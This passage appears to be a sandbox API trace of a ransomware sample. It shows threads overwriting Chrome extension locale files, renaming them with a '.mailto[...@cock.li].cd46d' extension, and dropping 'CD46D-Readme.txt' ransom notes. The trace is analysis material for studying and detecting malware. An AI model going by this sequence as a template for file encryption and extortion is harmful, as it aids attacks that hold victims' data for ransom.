0x1bbcc581 [0194.448] RtlRandomEx (in: Seed=0xc08fcf4 | out: Seed=0xc08fcf4) returned 0x50c88ff9 [0194.448] RtlRandomEx (in: Seed=0xc08fcf4 | out: Seed=0xc08fcf4) returned 0x1a3efc14 [0194.448] RtlRandomEx (in: Seed=0xc08fcf4 | out: Seed=0xc08fcf4) returned 0x27dffc30 [0194.448] RtlRandomEx (in: Seed=0xc08fcf4 | out: Seed=0xc08fcf4) returned 0x3fe45e1 [0194.448] RtlRandomEx (in: Seed=0xc08fcf4 | out: Seed=0xc08fcf4) returned 0x4ab64664 [0194.448] RtlRandomEx (in: Seed=0xc08fcf4 | out: Seed=0xc08fcf4) returned 0x753b1e49 [0194.448] RtlRandomEx (in: Seed=0xc08fcf4 | out: Seed=0xc08fcf4) returned 0x275efdc6 [0194.448] RtlRandomEx (in: Seed=0xc08fcf4 | out: Seed=0xc08fcf4) returned 0x41165513 [0194.448] RtlRandomEx (in: Seed=0xc08fcf4 | out: Seed=0xc08fcf4) returned 0xa56bd15 [0194.448] RtlRandomEx (in: Seed=0xc08fcf4 | out: Seed=0xc08fcf4) returned 0x2cd76268 [0194.448] RtlRandomEx (in: Seed=0xc08fcf4 | out: Seed=0xc08fcf4) returned 0x5d5b8e32 [0194.448] RtlRandomEx (in: Seed=0xc08fcf4 | out: Seed=0xc08fcf4) returned 0x188a723c [0194.460] ReadFile (hFile=0x46c, lpBuffer=0x13587008, nNumberOfBytesToRead=0x127, lpNumberOfBytesRead=0xc08fce4, lpOverlapped=0x0) [0194.460] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.460] WriteFile (in: hFile=0x46c, lpBuffer=0x12ce8308*, nNumberOfBytesToWrite=0x127, lpNumberOfBytesWritten=0xc08fce0, lpOverlapped=0x0 | out: lpBuffer=0x12ce8308*, lpNumberOfBytesWritten=0xc08fce0*=0x127, lpOverlapped=0x0) returned 1 [0195.859] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aeee8 [0195.859] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aee98 [0195.859] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aee98) returned 1 [0195.859] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12ce8308) returned 1 [0195.862] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13587008) returned 1 [0195.870] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9070) returned 1 [0195.870] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9528) returned 1 [0195.870] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8d88c8 [0195.870] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.870] WriteFile (in: hFile=0x46c, lpBuffer=0x12cf5b80*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0xc08fd48, lpOverlapped=0x0 | out: lpBuffer=0x12cf5b80*, lpNumberOfBytesWritten=0xc08fd48*=0x10b, lpOverlapped=0x0) returned 1 [0195.965] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5b80) returned 1 [0195.965] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8898) returned 1 [0195.965] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aee98) returned 1 [0195.965] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d88c8) returned 1 [0195.965] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aeee8) returned 1 [0195.965] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9455c8) returned 1 [0195.966] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945618) returned 1 [0195.966] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945b68) returned 1 [0195.966] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0x12cf7410 [0195.966] wcscpy (in: _Dest=0x12cf7410, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json" [0195.966] wcscat (in: _Dest=0x12cf7410, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0195.966] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xc08fd00, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0195.966] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c9d30 [0196.084] FlushFileBuffers (hFile=0x46c) returned 1 [0196.090] CloseHandle (hObject=0x46c) returned 1 [0196.135] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x12cf7498 [0196.135] wcscpy (in: _Dest=0x12cf7498, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\" [0196.135] wcscat (in: _Dest=0x12cf7498, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\CD46D-Readme.txt" [0196.135] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\cd46d-readme.txt")) returned 0xffffffff [0196.136] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19b0 [0196.155] WriteFile (in: hFile=0x19b0, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0xc08fd08, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0xc08fd08*=0x6fd, lpOverlapped=0x0) returned 1 [0196.168] CloseHandle (hObject=0x19b0) returned 1 [0196.183] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf7498) returned 1 [0196.183] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d47330) returned 1 Thread: id = 8101 os_tid = 0xf10 [0189.215] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json")) returned 0x2020 [0189.215] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json", dwFileAttributes=0x20) returned 1 [0195.334] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe2c [0195.334] GetFileSizeEx (in: hFile=0xe2c, lpFileSize=0xc85fcc8 | out: lpFileSize=0xc85fcc8*=324) returned 1 [0195.334] SetFilePointerEx (in: hFile=0xe2c, liDistanceToMove=0x140, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.334] ReadFile (in: hFile=0xe2c, lpBuffer=0xc85fc4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc85fc48, lpOverlapped=0x0 | out: lpBuffer=0xc85fc4c*, lpNumberOfBytesRead=0xc85fc48*=0x4, lpOverlapped=0x0) returned 1 [0195.335] SetFilePointerEx (in: hFile=0xe2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.335] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5b98 [0195.335] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5af8 [0195.335] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5878 [0195.335] NtQuerySystemTime (in: CurrentTime=0xc85fc28 | out: CurrentTime=0xc85fc28*=132174899699290000) returned 0x0 [0195.335] RtlRandomEx (in: Seed=0xc85fc34 | out: Seed=0xc85fc34) returned 0x554d6e30 [0195.335] RtlRandomEx (in: Seed=0xc85fc34 | out: Seed=0xc85fc34) returned 0x5fb66566 [0195.335] RtlRandomEx (in: Seed=0xc85fc34 | out: Seed=0xc85fc34) returned 0x4e8b6e76 [0195.335] RtlRandomEx (in: Seed=0xc85fc34 | out: Seed=0xc85fc34) returned 0x4339fd30 [0195.335] RtlRandomEx (in: Seed=0xc85fc34 | out: Seed=0xc85fc34) returned 0x2b102da0 [0195.335] RtlRandomEx (in: Seed=0xc85fc34 | out: Seed=0xc85fc34) returned 0x48fb9af3 [0195.336] RtlRandomEx (in: Seed=0xc85fc34 | out: Seed=0xc85fc34) returned 0x58d105ee [0195.336] RtlRandomEx (in: Seed=0xc85fc34 | out: Seed=0xc85fc34) returned 0x2889e3ed [0195.336] RtlRandomEx (in: Seed=0xc85fc34 | out: Seed=0xc85fc34) returned 0x55da7fe6 [0195.336] RtlRandomEx (in: Seed=0xc85fc34 | out: Seed=0xc85fc34) returned 0x3ce8fa8 [0195.336] RtlRandomEx (in: Seed=0xc85fc34 | out: Seed=0xc85fc34) returned 0x3a63d730 [0195.336] RtlRandomEx (in: Seed=0xc85fc34 | out: Seed=0xc85fc34) returned 0x13d00ac1 [0195.336] RtlRandomEx (in: Seed=0xc85fc34 | out: Seed=0xc85fc34) returned 0x19afb83e [0195.336] RtlRandomEx (in: Seed=0xc85fc34 | out: Seed=0xc85fc34) returned 0x17d1f61c [0195.336] RtlRandomEx (in: Seed=0xc85fc34 | out: Seed=0xc85fc34) returned 0x54e26f09 [0195.336] RtlRandomEx (in: Seed=0xc85fc34 | out: Seed=0xc85fc34) returned 0x2abdc4fa [0195.336] RtlRandomEx (in: Seed=0xc85fc34 | out: Seed=0xc85fc34) returned 0x5b57ff63 [0195.336] RtlRandomEx (in: Seed=0xc85fc34 | out: Seed=0xc85fc34) returned 0x176f8bd6 [0195.336] RtlRandomEx (in: Seed=0xc85fc34 | out: Seed=0xc85fc34) returned 0x657e4b6d [0195.336] RtlRandomEx (in: Seed=0xc85fc34 | out: Seed=0xc85fc34) returned 0x6bc58a5a [0195.336] RtlRandomEx (in: Seed=0xc85fc34 | out: Seed=0xc85fc34) returned 0x45e2965c [0195.336] RtlRandomEx (in: Seed=0xc85fc34 | out: Seed=0xc85fc34) returned 0x68f06d1 [0195.336] RtlRandomEx (in: Seed=0xc85fc34 | out: Seed=0xc85fc34) returned 0x397097f2 [0195.336] RtlRandomEx (in: Seed=0xc85fc34 | out: Seed=0xc85fc34) returned 0x6b8b3ee8 [0195.336] RtlRandomEx (in: Seed=0xc85fc34 | out: Seed=0xc85fc34) returned 0x21c1a282 [0195.336] RtlRandomEx (in: Seed=0xc85fc34 | out: Seed=0xc85fc34) returned 0x5e4f1aa3 [0195.336] RtlRandomEx (in: Seed=0xc85fc34 | out: Seed=0xc85fc34) returned 0x3e093b00 [0195.336] RtlRandomEx (in: Seed=0xc85fc34 | out: Seed=0xc85fc34) returned 0x205174d5 [0195.336] RtlRandomEx (in: Seed=0xc85fc34 | out: Seed=0xc85fc34) returned 0x2b045a9b [0195.336] RtlRandomEx (in: Seed=0xc85fc34 | out: Seed=0xc85fc34) returned 0x75ff7993 [0195.336] RtlRandomEx (in: Seed=0xc85fc34 | out: Seed=0xc85fc34) returned 0x12d8cfc3 [0195.336] RtlRandomEx (in: Seed=0xc85fc34 | out: Seed=0xc85fc34) returned 0x264df914 [0195.352] ReadFile (in: hFile=0xe2c, lpBuffer=0x12d01008, nNumberOfBytesToRead=0x144, lpNumberOfBytesRead=0xc85fc24, lpOverlapped=0x0 | out: lpBuffer=0x12d01008*, lpNumberOfBytesRead=0xc85fc24*=0x144, lpOverlapped=0x0) returned 1 [0195.352] SetFilePointerEx (in: hFile=0xe2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.352] WriteFile (in: hFile=0xe2c, lpBuffer=0x1335b078*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0xc85fc20, lpOverlapped=0x0 | out: lpBuffer=0x1335b078*, lpNumberOfBytesWritten=0xc85fc20*=0x144, lpOverlapped=0x0) returned 1 [0197.734] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x938270 [0197.734] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x938248 [0197.734] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938248) returned 1 [0197.734] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1335b078) returned 1 [0197.734] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d01008) returned 1 [0197.736] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8e90) returned 1 [0197.736] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0197.736] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6d80 [0197.736] SetFilePointerEx (in: hFile=0xe2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.736] WriteFile (in: hFile=0xe2c, lpBuffer=0x12cf5c98*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0xc85fc88, lpOverlapped=0x0 | out: lpBuffer=0x12cf5c98*, lpNumberOfBytesWritten=0xc85fc88*=0x10b, lpOverlapped=0x0) returned 1 [0197.845] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5c98) returned 1 [0197.845] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6db0) returned 1 [0197.845] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938248) returned 1 [0197.845] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6d80) returned 1 [0197.845] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938270) returned 1 [0197.845] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5af8) returned 1 [0197.845] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5e40) returned 1 [0197.845] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5a80) returned 1 [0197.845] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd4958e0 [0197.845] wcscpy (in: _Dest=0xd4958e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json" [0197.845] wcscat (in: _Dest=0xd4958e0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0197.845] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xc85fc40, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0197.845] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c96d0 [0197.980] FlushFileBuffers (hFile=0xe2c) returned 1 [0197.982] CloseHandle (hObject=0xe2c) returned 1 [0198.040] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9b6700 [0198.040] wcscpy (in: _Dest=0x9b6700, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\" [0198.040] wcscat (in: _Dest=0x9b6700, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\CD46D-Readme.txt" [0198.040] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\cd46d-readme.txt")) returned 0xffffffff [0198.040] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14f4 [0198.057] WriteFile (in: hFile=0x14f4, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0xc85fc48, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0xc85fc48*=0x6fd, lpOverlapped=0x0) returned 1 [0198.065] CloseHandle (hObject=0x14f4) returned 1 [0198.079] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b6700) returned 1 [0198.079] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d47468) returned 1 Thread: id = 8102 os_tid = 0x1430 [0189.222] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json")) returned 0x2020 [0189.222] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json", dwFileAttributes=0x20) returned 1 [0195.728] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13e0 [0195.729] GetFileSizeEx (in: hFile=0x13e0, lpFileSize=0x1034f768 | out: lpFileSize=0x1034f768*=234) returned 1 [0195.729] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5940 [0195.729] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c59e0 [0195.729] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5e68 [0195.729] NtQuerySystemTime (in: CurrentTime=0x1034f6c8 | out: CurrentTime=0x1034f6c8*=132174899703190000) returned 0x0 [0195.729] RtlRandomEx (in: Seed=0x1034f6d4 | out: Seed=0x1034f6d4) returned 0x7c1e1413 [0195.729] RtlRandomEx (in: Seed=0x1034f6d4 | out: Seed=0x1034f6d4) returned 0x6877d21a [0195.729] RtlRandomEx (in: Seed=0x1034f6d4 | out: Seed=0x1034f6d4) returned 0x36cab150 [0195.729] RtlRandomEx (in: Seed=0x1034f6d4 | out: Seed=0x1034f6d4) returned 0x201306dc [0195.729] RtlRandomEx (in: Seed=0x1034f6d4 | out: Seed=0x1034f6d4) returned 0x1d6565bd [0195.729] RtlRandomEx (in: Seed=0x1034f6d4 | out: Seed=0x1034f6d4) returned 0x40521de3 [0195.729] RtlRandomEx (in: Seed=0x1034f6d4 | out: Seed=0x1034f6d4) returned 0x1fedc74 [0195.729] RtlRandomEx (in: Seed=0x1034f6d4 | out: Seed=0x1034f6d4) returned 0x16554524 [0195.729] RtlRandomEx (in: Seed=0x1034f6d4 | out: Seed=0x1034f6d4) returned 0x1a23e0df [0195.729] RtlRandomEx (in: Seed=0x1034f6d4 | out: Seed=0x1034f6d4) returned 0x1ae9fb86 [0195.729] RtlRandomEx (in: Seed=0x1034f6d4 | out: Seed=0x1034f6d4) returned 0x765d6106 [0195.729] RtlRandomEx (in: Seed=0x1034f6d4 | out: Seed=0x1034f6d4) returned 0x36f0e235 [0195.729] RtlRandomEx (in: Seed=0x1034f6d4 | out: Seed=0x1034f6d4) returned 0x195a4b79 [0195.729] RtlRandomEx (in: Seed=0x1034f6d4 | out: Seed=0x1034f6d4) returned 0x279339e1 [0195.729] RtlRandomEx (in: Seed=0x1034f6d4 | out: Seed=0x1034f6d4) returned 0x43eb85c4 [0195.729] RtlRandomEx (in: Seed=0x1034f6d4 | out: Seed=0x1034f6d4) returned 0x25e5a38c [0195.729] RtlRandomEx (in: Seed=0x1034f6d4 | out: Seed=0x1034f6d4) returned 0x7681ac4b [0195.730] RtlRandomEx (in: Seed=0x1034f6d4 | out: Seed=0x1034f6d4) returned 0x3a45c8c5 [0195.730] RtlRandomEx (in: Seed=0x1034f6d4 | out: Seed=0x1034f6d4) returned 0x721c1583 [0195.730] RtlRandomEx (in: Seed=0x1034f6d4 | out: Seed=0x1034f6d4) returned 0x60ed01c [0195.730] RtlRandomEx (in: Seed=0x1034f6d4 | out: Seed=0x1034f6d4) returned 0xbd90344 [0195.730] RtlRandomEx (in: Seed=0x1034f6d4 | out: Seed=0x1034f6d4) returned 0x5bf60633 [0195.730] RtlRandomEx (in: Seed=0x1034f6d4 | out: Seed=0x1034f6d4) returned 0x104c1a6c [0195.730] RtlRandomEx (in: Seed=0x1034f6d4 | out: Seed=0x1034f6d4) returned 0x35460bb8 [0195.730] RtlRandomEx (in: Seed=0x1034f6d4 | out: 